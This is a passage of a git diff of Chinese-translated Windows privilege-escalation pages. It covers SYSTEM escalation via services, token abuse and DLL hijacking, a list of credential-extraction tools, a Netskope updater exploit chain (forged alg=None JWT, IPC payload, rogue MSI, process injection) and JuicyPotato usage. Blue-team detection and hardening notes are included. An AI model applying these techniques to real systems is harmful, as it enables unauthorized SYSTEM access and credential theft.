在引导时无法加载实际驱动程序。 +- 然后,Windows 在启动过程中尝试加载 `cng.sys`。 +- 它看到该文件夹,**无法解析实际驱动程序**,并且**崩溃或停止引导**。 +- 没有**回退机制**,且在没有外部干预(例如,启动修复或磁盘访问)的情况下**无法恢复**。 ## **从 High Integrity 到 System** ### **新服务** -如果你已经在 High Integrity 进程上运行,**通往 SYSTEM 的路径**可以通过**创建并执行一个新服务**来轻松实现: +如果你已经在 High Integrity 进程上运行,**通往 SYSTEM 的路径** 可能很简单,只需 **创建并执行一个新服务**: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` > [!TIP] -> 在创建 service binary 时,确保它是一个有效的 service,或者二进制执行必要的操作,因为如果它不是一个有效的 service,会在 20s 内被终止。 +> 创建服务二进制文件时,确保它是一个有效的服务,或者二进制能够及时执行必要的操作 —— 如果不是有效的服务,它会在 20 秒内被终止。 ### AlwaysInstallElevated -从 High Integrity 进程可以尝试 **启用 AlwaysInstallElevated 注册表项** 并使用一个 _**.msi**_ 封装 **安装** 反向 shell。\ +从一个高完整性进程(High Integrity process)你可以尝试 **启用 AlwaysInstallElevated 注册表项** 并使用 _**.msi**_ 包装器 **安装** 一个 reverse shell。\ [More information about the registry keys involved and how to install a _.msi_ package here.](#alwaysinstallelevated) ### High + SeImpersonate privilege to System -**你可以** [**find the code here**](seimpersonate-from-high-to-system.md)**.** +**You can** [**find the code here**](seimpersonate-from-high-to-system.md)**.** ### From SeDebug + SeImpersonate to Full Token privileges -如果你拥有这些 token 权限(通常你会在已是 High Integrity 的进程里发现它们),你将能够使用 SeDebug 权限 **打开几乎任何进程**(非 protected processes),**复制该进程的 token**,并使用该 token **创建任意进程**。\ -使用此技术通常会 **选择任何以 SYSTEM 运行且具有所有 token 权限的进程**(_是的,你可能会找到没有所有 token 权限的 SYSTEM 进程_)。\ +如果你拥有这些 token 权限(很可能你会在已经是高完整性进程中发现它们),你将能够使用 SeDebug 权限 **打开几乎任何进程**(非受保护进程),**复制该进程的 token**,并使用该 token 创建一个 **任意进程**。\ +使用此技术通常会 **选择以 SYSTEM 身份运行且具有所有 token 权限的任意进程**(_是的,你可以找到没有所有 token 权限的 SYSTEM 进程_)。\ **You can find an** [**example of code executing the proposed technique here**](sedebug-+-seimpersonate-copy-token.md)**.** ### **Named Pipes** -该技术被 meterpreter 用于在 `getsystem` 中提权。该技术由 **创建一个 pipe,然后创建/滥用一个 service 向该 pipe 写入** 组成。随后,使用 **`SeImpersonate`** 权限创建该 pipe 的 **server** 将能够 **模拟 pipe 客户端(service)的 token**,从而获取 SYSTEM 权限。\ -如果你想 [**learn more about name pipes you should read this**](#named-pipe-client-impersonation)。\ -如果你想读一个 [**如何从 high integrity 使用 name pipes 提权到 System 的示例**](from-high-integrity-to-system-with-name-pipes.md)。 +该技术被 meterpreter 在 getsystem 中使用。该技术包含 **创建一个 pipe**,然后创建/滥用一个 service 向该 pipe 写入。随后,使用 **`SeImpersonate`** 权限创建 pipe 的 **server** 将能够 **模拟 pipe 客户端(服务)的 token**,从而获得 SYSTEM 权限。\ +如果你想要 [**了解更多关于 name pipes 的内容请阅读这里**](#named-pipe-client-impersonation)。\ +如果你想阅读一个关于 [**如何利用 name pipes 从 high integrity 提升到 System 的示例请看这里**](from-high-integrity-to-system-with-name-pipes.md)。 ### Dll Hijacking -如果你能够 **劫持一个被 SYSTEM 进程加载的 dll**,你就能够以那些权限执行任意代码。因此 Dll Hijacking 对于此类提权也很有用,而且从 high integrity 进程发起更 **容易实现**,因为它通常对用于加载 dll 的文件夹具有 **写权限**。\ +如果你能够 **劫持正在被以 **SYSTEM** 身份运行的 **进程** 加载的 dll**,你将能够以该权限执行任意代码。因此 Dll Hijacking 对于这类提权也很有用,而且更重要的是,从高完整性进程实现起来通常**更容易**,因为它对用于加载 dll 的文件夹具有 **写权限**。\ **You can** [**learn more about Dll hijacking here**](dll-hijacking/index.html)**.** ### **From Administrator or Network Service to System** @@ -1619,29 +1612,29 @@ sc start newservicename **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ -[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- 检查 misconfigurations 和 敏感文件 (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。Detected.**\ +[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- 检查 misconfigurations 和 敏感文件(**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。已检测。**\ [**JAWS**](https://github.com/411Hall/JAWS) **-- 检查一些可能的 misconfigurations 并收集信息(**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。**\ [**privesc** ](https://github.com/enjoiz/Privesc)**-- 检查 misconfigurations**\ -[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- 提取 PuTTY, WinSCP, SuperPuTTY, FileZilla 和 RDP 的保存会话信息。在本地使用 -Thorough。**\ -[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- 从 Credential Manager 提取凭证。Detected.**\ -[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- 将收集到的密码在域内进行 spray**\ -[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh 是一个 PowerShell ADIDNS/LLMNR/mDNS/NBNS 欺骗与中间人工具。**\ -[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- 基础的 privesc Windows 枚举**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- 搜索已知的 privesc 漏洞(DEPRECATED for Watson)\ -[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- 本地检查 **(Need Admin rights)** +[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- 提取 PuTTY、WinSCP、SuperPuTTY、FileZilla 和 RDP 的保存会话信息。本地使用时请加 -Thorough。**\ +[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- 从 Credential Manager 中提取凭据。已检测。**\ +[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- 在域中对收集到的密码进行密码喷洒**\ +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh 是一个 PowerShell ADIDNS/LLMNR/mDNS/NBNS 欺骗和中间人工具。**\ +[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- 基本的 Windows privesc 枚举**\ +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- 搜索已知的 privesc 漏洞(已弃用,改用 Watson)\ +[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- 本地检查 **(需要 Admin 权限)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- 搜索已知的 privesc 漏洞(需要用 VisualStudio 编译)([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- 枚举主机以查找 misconfigurations(更像信息收集工具而非单纯的 privesc)(需要编译)**(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ -[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- 从大量软件中提取凭证(github 上有预编译 exe)**\ +[**Watson**](https://github.com/rasta-mouse/Watson) -- 搜索已知的 privesc 漏洞(需要用 VisualStudio 编译)([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- 枚举主机以查找 misconfigurations(更偏向信息收集工具而非纯粹的 privesc)(需要编译)**(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- 从许多软件中提取凭据(github 上有预编译 exe)**\ [**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUp 的 C# 移植**\ -[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- 检查 misconfiguration(在 github 有预编译可执行文件)。不推荐。它在 Win10 上表现不佳。\ -[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- 检查可能的 misconfigurations(基于 python 的 exe)。不推荐。它在 Win10 上表现不佳。 +[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- 检查 misconfiguration(github 上有预编译可执行文件)。不推荐。它在 Win10 上表现不佳。\ +[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- 检查可能的 misconfigurations(从 python 生成 exe)。不推荐。它在 Win10 上表现不佳。 **Bat** -[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- 基于此帖子创建的工具(它不需要 accesschk 即能正常工作,但可以使用它)。 +[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- 基于这篇文章创建的工具(它不需要 accesschk 就能正常工作,但可以使用 accesschk)。 **Local** @@ -1652,7 +1645,7 @@ sc start newservicename _multi/recon/local_exploit_suggestor_ -你需要使用正确版本的 .NET 编译该项目([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/))。要查看受害主机上已安装的 .NET 版本,你可以执行: +你需要使用正确版本的 .NET 来编译该项目([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/))。要查看受害主机上已安装的 .NET 版本,你可以执行: ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` diff --git a/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md index 04462b71d..80d783146 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md +++ b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md @@ -1,28 +1,28 @@ -# 滥用企业自动更新程序和特权 IPC (e.g., Netskope stAgentSvc) +# 滥用企业自动更新器和特权 IPC (e.g., Netskope stAgentSvc) {{#include ../../banners/hacktricks-training.md}} -本页概述了一类在企业端点代理和更新程序中发现的 Windows 本地提权链,这些组件暴露了低‑摩擦的 IPC 接口和特权更新流程。一个具有代表性的例子是 Netskope Client for Windows < R129 (CVE-2025-0309),其中低权限用户可以强制使客户端注册到攻击者控制的服务器,然后交付被 SYSTEM 服务安装的恶意 MSI。 +本页概述了一类在企业端点代理和更新器中发现的 Windows 本地提权链,这些组件暴露出低摩擦的 IPC 接口和特权更新流程。一个代表性示例是 Netskope Client for Windows < R129 (CVE-2025-0309),其中低权限用户可以强制将注册指向攻击者控制的服务器,然后投递一个恶意 MSI,由 SYSTEM 服务安装。 -Key ideas you can reuse against similar products: -- 滥用特权服务的 localhost IPC 来强制重新注册或重新配置到攻击者服务器。 -- 实现厂商的更新端点,部署一个伪造的 Trusted Root CA,并将更新程序指向一个恶意的“签名”包。 -- 规避弱签名校验(CN allow‑lists)、可选的 digest flags 和宽松的 MSI properties。 -- 如果 IPC 是“encrypted”,从注册表中以全局可读方式存储的机器标识符推导出 key/IV。 -- 如果服务通过 image path/process name 限制调用者,注入到一个 allow‑listed 进程,或以 suspended 方式创建一个进程并通过最小的线程上下文修补来 bootstrap 你的 DLL。 +可以复用到类似产品的关键思路: +- 滥用特权服务的 localhost IPC,强制重新注册或重新配置到攻击者服务器。 +- 实现厂商的 update endpoints,部署伪造的 Trusted Root CA,并将 updater 指向恶意的“签名”包。 +- 绕过薄弱的签名者校验(CN allow‑lists)、可选的 digest 标志和宽松的 MSI 属性。 +- 如果 IPC 是“encrypted”,可从注册表中可被所有人读取的机器标识派生 key/IV。 +- 如果服务按 image path/process name 限制调用者,注入到被允许的进程或以 suspended 启动一个进程,然后通过最小的 thread‑context patch 引导你的 DLL。 --- ## 1) 通过 localhost IPC 强制注册到攻击者服务器 -许多代理包含一个以用户模式运行的 UI 进程,该进程通过 localhost TCP 使用 JSON 与 SYSTEM 服务通信。 +许多代理都会随附一个以用户模式运行的 UI 进程,该进程通过 localhost TCP 使用 JSON 与运行在 SYSTEM 的服务通信。 -Observed in Netskope: +在 Netskope 中观察到: - UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM) - IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN -Exploit flow: -1) 构造一个 JWT enrollment token,其 claims 控制后端主机(例如 AddonUrl)。使用 alg=None 以便不需要签名。 -2) 发送 IPC 消息,调用 provisioning 命令并附带你的 JWT 和 tenant name: +利用流程: +1) 构造一个 JWT enrollment token,其 claims 控制后端主机(例如 AddonUrl)。使用 alg=None,因此不需要签名。 +2) 发送调用 provisioning 命令的 IPC 消息,包含你的 JWT 和 tenant name: ```json { "148": { @@ -31,88 +31,88 @@ Exploit flow: } } ``` -3) 服务开始向你的恶意服务器请求 enrollment/config,例如: +3) 服务开始访问你的恶意服务器以进行 enrollment/config,例如: - /v1/externalhost?service=enrollment - /config/user/getbrandingbyemail Notes: -- 如果调用者验证是基于路径/名称的,请从一个被允许的厂商二进制发起请求(参见 §4)。 +- 如果调用者验证是基于 path/name‑based,则应从一个被允许的厂商二进制程序发起请求(见 §4)。 --- ## 2) Hijacking the update channel to run code as SYSTEM -一旦客户端与您的服务器通信,实现客户端期望的端点并将其引导到攻击者的 MSI。典型流程: +一旦客户端与您的服务器通信,实现预期的 endpoints 并引导它到攻击者的 MSI。典型流程: -1) /v2/config/org/clientconfig → 返回 JSON 配置,设置非常短的更新器间隔,例如: +1) /v2/config/org/clientconfig → 返回 JSON 配置,包含非常短的 updater 间隔,例如: ```json { "clientUpdate": { "updateIntervalInMin": 1 }, "check_msi_digest": false } ``` -2) /config/ca/cert → 返回一个 PEM CA 证书。服务会将其安装到 Local Machine Trusted Root store。 -3) /v2/checkupdate → 提供指向恶意 MSI 和伪造版本的元数据。 +2) /config/ca/cert → 返回一个 PEM CA certificate。该服务将其安装到 Local Machine Trusted Root store。 +3) /v2/checkupdate → 提供指向恶意 MSI 的元数据和一个伪造的版本。 -Bypassing common checks seen in the wild: -- Signer CN allow‑list: 服务可能仅检查 Subject CN 是否等于 “netSkope Inc” 或 “Netskope, Inc.”。你的伪造 CA 可以为该 CN 签发一个 leaf 并签署 MSI。 -- CERT_DIGEST property: 在 MSI 中包含名为 CERT_DIGEST 的良性属性。安装时没有强制执行。 -- Optional digest enforcement: 配置标志(例如 check_msi_digest=false)会禁用额外的加密验证。 +绕过野外常见检查: +- Signer CN allow‑list:服务可能只检查 Subject CN 是否等于 “netSkope Inc” 或 “Netskope, Inc.”。你的伪造 CA 可以签发一个具有该 CN 的 leaf 并签署 MSI。 +- CERT_DIGEST property:包含一个名为 CERT_DIGEST 的良性 MSI 属性。安装时不强制执行。 +- Optional digest enforcement:配置标志(例如 check_msi_digest=false)会禁用额外的密码学验证。 -Result: SYSTEM 服务会从 +结果:SYSTEM 服务会从 C:\ProgramData\Netskope\stAgent\data\*.msi -安装你的 MSI,以 NT AUTHORITY\SYSTEM 身份执行任意代码。 +安装你的 MSI,并以 NT AUTHORITY\SYSTEM 身份执行任意代码。 --- ## 3) Forging encrypted IPC requests (when present) -From R127, Netskope 将 IPC JSON 包装在看起来像 Base64 的 encryptData 字段中。逆向分析显示使用 AES,key/IV 来自任何用户都可读的注册表值: +从 R127 开始,Netskope 将 IPC JSON 包装在看起来像 Base64 的 encryptData 字段中。逆向分析显示使用 AES,key/IV 来源于任何用户都可读取的注册表值: - Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew - IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID -攻击者可以复现该加密并以标准用户身份发送有效的加密命令。一般提示:如果代理突然“加密”其 IPC,请在 HKLM 下查找 device IDs、product GUIDs、install IDs 等作为密钥材料。 +攻击者可以重现加密并从标准用户发送有效的加密命令。一般建议:如果代理突然对其 IPC “加密”,检查 HKLM 下的 device IDs、product GUIDs、install IDs 等作为密钥材料。 --- ## 4) Bypassing IPC caller allow‑lists (path/name checks) -一些服务通过解析 TCP 连接的 PID,并将镜像路径/名称与位于 Program Files 下的 allow‑listed 厂商二进制文件(例如 stagentui.exe、bwansvc.exe、epdlp.exe)进行比较来认证对端。 +一些服务尝试通过解析 TCP 连接的 PID 并将映像路径/名称与位于 Program Files 下的允许列表厂商二进制(例如 stagentui.exe、bwansvc.exe、epdlp.exe)进行比对来认证对端。 -两种实用的绕过方式: -- 对一个 allow‑listed 进程(例如 nsdiag.exe)进行 DLL 注入,并在其内部代理 IPC。 -- 启动一个 allow‑listed 二进制并将其置于挂起状态,然后在不使用 CreateRemoteThread 的情况下引导你的代理 DLL(见 §5),以满足驱动强制的防篡改规则。 +两个实用的绕过方法: +- 对一个允许列表进程(例如 nsdiag.exe)进行 DLL injection,并从其内部代理 IPC。 +- 以挂起态启动一个允许列表二进制,并在不使用 CreateRemoteThread 的情况下引导你的代理 DLL(见 §5),以满足驱动强制的防篡改规则。 --- ## 5) Tamper‑protection friendly injection: suspended process + NtContinue patch -产品通常会附带一个 minifilter/OB callbacks 驱动(例如 Stadrv)来从受保护进程的句柄中剥除危险权限: -- Process: 移除 PROCESS_TERMINATE、PROCESS_CREATE_THREAD、PROCESS_VM_READ、PROCESS_DUP_HANDLE、PROCESS_SUSPEND_RESUME -- Thread: 限制为 THREAD_GET_CONTEXT、THREAD_QUERY_LIMITED_INFORMATION、THREAD_RESUME、SYNCHRONIZE +产品常配备一个 minifilter/OB callbacks driver(例如 Stadrv)以从受保护进程的句柄中剥离危险权限: +- Process:移除 PROCESS_TERMINATE、PROCESS_CREATE_THREAD、PROCESS_VM_READ、PROCESS_DUP_HANDLE、PROCESS_SUSPEND_RESUME +- Thread:限制为 THREAD_GET_CONTEXT、THREAD_QUERY_LIMITED_INFORMATION、THREAD_RESUME、SYNCHRONIZE -一个可靠的遵守这些限制的用户模式加载器: -1) 使用 CREATE_SUSPENDED 创建一个厂商二进制的 CreateProcess。 -2) 获取你仍被允许的句柄:对进程为 PROCESS_VM_WRITE | PROCESS_VM_OPERATION,对线程获取带有 THREAD_GET_CONTEXT/THREAD_SET_CONTEXT 的句柄(或者如果在已知的 RIP 上修补代码,则只需要 THREAD_RESUME)。 -3) 覆盖 ntdll!NtContinue(或其他早期、必然已映射的 thunk)为一个微小的 stub,该 stub 调用 LoadLibraryW 加载你的 DLL 路径,然后跳回原处。 -4) ResumeThread 触发你在进程内的 stub,从而加载你的 DLL。 +一个可靠的用户模式加载器,遵守这些限制的步骤: +1) CreateProcess 启动一个厂商二进制并使用 CREATE_SUSPENDED。 +2) 获取你仍被允许的句柄:对进程为 PROCESS_VM_WRITE | PROCESS_VM_OPERATION,对线程为具有 THREAD_GET_CONTEXT/THREAD_SET_CONTEXT(或如果在已知 RIP 处打补丁,仅 THREAD_RESUME)。 +3) 覆盖 ntdll!NtContinue(或其他早期、保证映射的 thunk)为一个小的存根,该存根对你的 DLL 路径调用 LoadLibraryW,然后跳回原处。 +4) ResumeThread 触发你在进程内的存根,加载你的 DLL。 -因为你从未对一个已被保护的进程使用 PROCESS_CREATE_THREAD 或 PROCESS_SUSPEND_RESUME(你是创建它的),驱动的策略得以满足。 +因为你从未对一个已经受保护的进程使用 PROCESS_CREATE_THREAD 或 PROCESS_SUSPEND_RESUME(你是创建它的),驱动的策略被满足。 --- ## 6) Practical tooling - NachoVPN (Netskope plugin) 自动化生成 rogue CA、恶意 MSI 签名,并提供所需端点:/v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate。 -- UpSkope 是一个定制的 IPC 客户端,用于构造任意(可选 AES‑encrypted)IPC 消息,并包含从 allow‑listed 二进制发起的 suspended‑process 注入。 +- UpSkope 是一个自定义 IPC 客户端,可构造任意(可选 AES‑encrypted)IPC 消息,并包含挂起进程注入以使调用源自允许列表二进制。 --- ## 7) Detection opportunities (blue team) -- 监控对 Local Machine Trusted Root 的新增。Sysmon + registry‑mod 事件(参见 SpecterOps 指南)效果良好。 -- 报警由代理服务触发、从类似 C:\ProgramData\\\data\*.msi 路径执行的 MSI。 -- 审查代理日志以查找异常的 enrollment hosts/tenants,例如:C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – 查找 addonUrl / tenant 异常以及 provisioning msg 148。 -- 对不是预期签名二进制的本地 IPC 客户端,或起源于异常子进程树的客户端触发告警。 +- 监控对 Local Machine Trusted Root 的添加。Sysmon + registry‑mod 事件(参见 SpecterOps guidance)效果良好。 +- 标记由 agent 的 service 从类似 C:\ProgramData\\\data\*.msi 路径发起的 MSI 执行。 +- 检查 agent 日志中异常的 enrollment hosts/tenants,例如:C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – 查找 addonUrl / tenant 异常和 provisioning msg 148。 +- 对非预期签名二进制或来自异常子进程树的 localhost IPC 客户端发出告警。 --- ## Hardening tips for vendors -- 将 enrollment/update 主机绑定到严格的 allow‑list;在 client 代码中拒绝不受信任的域名。 -- 使用操作系统原语对 IPC 对端进行认证(ALPC security、named‑pipe SIDs),而不是基于镜像路径/名称的检查。 -- 不要将秘密材料放在所有用户可读的 HKLM;如果必须对 IPC 进行加密,应从受保护的密钥派生,或通过已认证的通道协商密钥。 -- 将 updater 视为供应链攻击面:要求完整链到你控制的受信任 CA,针对固定密钥验证包签名,如果配置中禁用验证则采取 fail‑closed 策略。 +- 将 enrollment/update 主机绑定到严格的 allow‑list;在 clientcode 中拒绝不受信任的域名。 +- 使用 OS 原语(ALPC security、named‑pipe SIDs)对 IPC 对等方进行认证,而不是依赖映像路径/名称检查。 +- 将秘密材料保存在不可全局读取的 HKLM 之外;如果必须对 IPC 加密,应从受保护的密钥派生或通过认证通道协商。 +- 将 updater 视为供应链面:要求完整链至受信任的 CA(由你控制),使用 pinned keys 验证包签名,并在配置禁用验证时 fail closed。 ## References - [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/) diff --git a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md index 72bece0ac..720108af6 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md +++ b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md @@ -2,58 +2,58 @@ {{#include ../../banners/hacktricks-training.md}} -> [!WARNING] > JuicyPotato 是遗留工具。它通常在 Windows 10 1803 / Windows Server 2016 及更早版本上有效。Microsoft 在 Windows 10 1809 / Server 2019 开始引入的强化更改破坏了原始技术。对于那些版本及更新的系统,请考虑使用更现代的替代方案,例如 PrintSpoofer、RoguePotato、SharpEfsPotato/EfsPotato、GodPotato 等。请参见下方页面以获取最新的选项和用法。 +> [!WARNING] > JuicyPotato is legacy. It generally works on Windows versions up to Windows 10 1803 / Windows Server 2016. Microsoft changes shipped starting in Windows 10 1809 / Server 2019 broke the original technique. For those builds and newer, consider modern alternatives such as PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato and others. See the page below for up-to-date options and usage. {{#ref}} roguepotato-and-printspoofer.md {{#endref}} -## Juicy Potato (abusing the golden privileges) +## Juicy Potato (滥用黄金权限) _A sugared version of_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, with a bit of juice, i.e. **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**_ #### You can download juicypotato from [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts) -### 兼容性快速说明 +### Compatibility quick notes -- 在当前上下文拥有 SeImpersonatePrivilege 或 SeAssignPrimaryTokenPrivilege 时,对 Windows 10 1803 和 Windows Server 2016 及更早版本可靠。 -- 在 Windows 10 1809 / Windows Server 2019 及以后版本被 Microsoft 的加固破坏。对于这些版本,优先使用上面链接的替代工具。 +- 在当前上下文具有 SeImpersonatePrivilege 或 SeAssignPrimaryTokenPrivilege 时,可在 Windows 10 1803 和 Windows Server 2016 上可靠运行。 +- 在 Windows 10 1809 / Windows Server 2019 及更高版本中,被 Microsoft 的硬化措施破坏。对于这些版本,请优先使用上面链接的替代方案。 -### 摘要 +### Summary [**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:** [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) and its [variants](https://github.com/decoder-it/lonelypotato) leverages the privilege escalation chain based on [`BITS`]() [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) having the MiTM listener on `127.0.0.1:6666` and when you have `SeImpersonate` or `SeAssignPrimaryToken` privileges. During a Windows build review we found a setup where `BITS` was intentionally disabled and port `6666` was taken. -We decided to weaponize [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Say hello to Juicy Potato**. +We decided to weaponize [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **欢迎 Juicy Potato**. > For the theory, see [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) and follow the chain of links and references. -我们发现,除了 `BITS` 之外,还有若干可以滥用的 COM 服务器。它们只需满足: +我们发现,除了 `BITS` 之外,还有若干可以滥用的 COM 服务。它们只需要满足: -1. 可由当前用户实例化,通常是具有模拟权限的“服务用户” +1. 当前用户可以实例化,通常是具有模拟权限的“service user” 2. 实现 `IMarshal` 接口 -3. 以提升的用户身份运行(SYSTEM、Administrator 等) +3. 以提升的用户身份运行(SYSTEM、Administrator …) -经过一些测试,我们在多个 Windows 版本上收集并测试了大量[有趣的 CLSID](http://ohpe.it/juicy-potato/CLSID/)。 +经过一些测试,我们在多个 Windows 版本上获得并测试了一个广泛的 [interesting CLSID’s](http://ohpe.it/juicy-potato/CLSID/) 列表。 -### 详细说明 +### Juicy details -JuicyPotato 允许你: +JuicyPotato allows you to: -- **Target CLSID** _选择任意你想要的 CLSID。_[_Here_](http://ohpe.it/juicy-potato/CLSID/) _你可以找到按操作系统组织的列表。_ -- **COM Listening port** _定义你偏好的 COM 监听端口(而不是封装时硬编码的 6666)_ -- **COM Listening IP address** _在任意 IP 上绑定服务器_ -- **Process creation mode** _根据被模拟用户的权限,你可以选择:_ -- `CreateProcessWithToken` (needs `SeImpersonate`) -- `CreateProcessAsUser` (needs `SeAssignPrimaryToken`) +- **Target CLSID** _选择任意 CLSID。_ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _你可以在此按操作系统查看组织好的列表。_ +- **COM Listening port** _定义你偏好的 COM 监听端口(替代封送时硬编码的 6666)_ +- **COM Listening IP address** _将服务器绑定到任意 IP_ +- **Process creation mode** _根据被模拟用户的权限,你可以从以下方式中选择:_ +- `CreateProcessWithToken` (需要 `SeImpersonate`) +- `CreateProcessAsUser` (需要 `SeAssignPrimaryToken`) - `both` - **Process to launch** _如果利用成功,启动可执行文件或脚本_ - **Process Argument** _自定义启动进程的参数_ -- **RPC Server address** _为了更隐蔽的方法,你可以向外部 RPC 服务器进行认证_ -- **RPC Server port** _如果你想认证到外部服务器且防火墙拦截了端口 `135`,此项有用…_ -- **TEST mode** _主要用于测试目的,例如测试 CLSID。它会创建 DCOM 并打印 token 的用户。见_ [_here for testing_](http://ohpe.it/juicy-potato/Test/) +- **RPC Server address** _用于更隐蔽的方式,你可以向外部 RPC 服务器进行身份验证_ +- **RPC Server port** _当你想要向外部服务器进行身份验证但防火墙阻止端口 `135` 时很有用…_ +- **TEST mode** _主要用于测试目的,例如测试 CLSID。它会创建 DCOM 并打印令牌的用户。参见_ [_here for testing_](http://ohpe.it/juicy-potato/Test/) ### Usage ``` @@ -72,31 +72,31 @@ Optional args: -k : RPC server ip address (default 127.0.0.1) -n : RPC server listen port (default 135) ``` -### Final thoughts +### 结语 -[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:** +[**摘自 juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:** -如果用户拥有 `SeImpersonate` 或 `SeAssignPrimaryToken` 特权,那么你就是 **SYSTEM**。 +如果用户具有 `SeImpersonate` 或 `SeAssignPrimaryToken` 权限,那么你就是 **SYSTEM**。 -几乎不可能完全阻止对这些 COM Servers 的滥用。你可以考虑通过 `DCOMCNFG` 修改这些对象的权限,但祝你好运,这将非常具有挑战性。 +几乎不可能阻止对所有这些 COM Servers 的滥用。你可以考虑通过 `DCOMCNFG` 修改这些对象的权限,但祝你好运,这会很有挑战性。 -实际的解决方案是保护在 `* SERVICE` 帐户下运行的敏感帐户和应用程序。停止 `DCOM` 确实会抑制此类利用,但可能对底层操作系统造成严重影响。 +实际的解决办法是保护运行在 `* SERVICE` 账户下的敏感账户和应用程序。停止 `DCOM` 确实可以抑制该漏洞利用,但可能会对底层操作系统产生严重影响。 From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/) ## JuicyPotatoNG (2022+) -JuicyPotatoNG 通过组合以下方法,在现代 Windows 上重新引入了 JuicyPotato-style 的本地提权: +JuicyPotatoNG 通过组合以下方法,在现代 Windows 上重新引入了 JuicyPotato 风格的本地权限提升: -- DCOM OXID resolution 到选定端口上的本地 RPC server,避免以前硬编码的 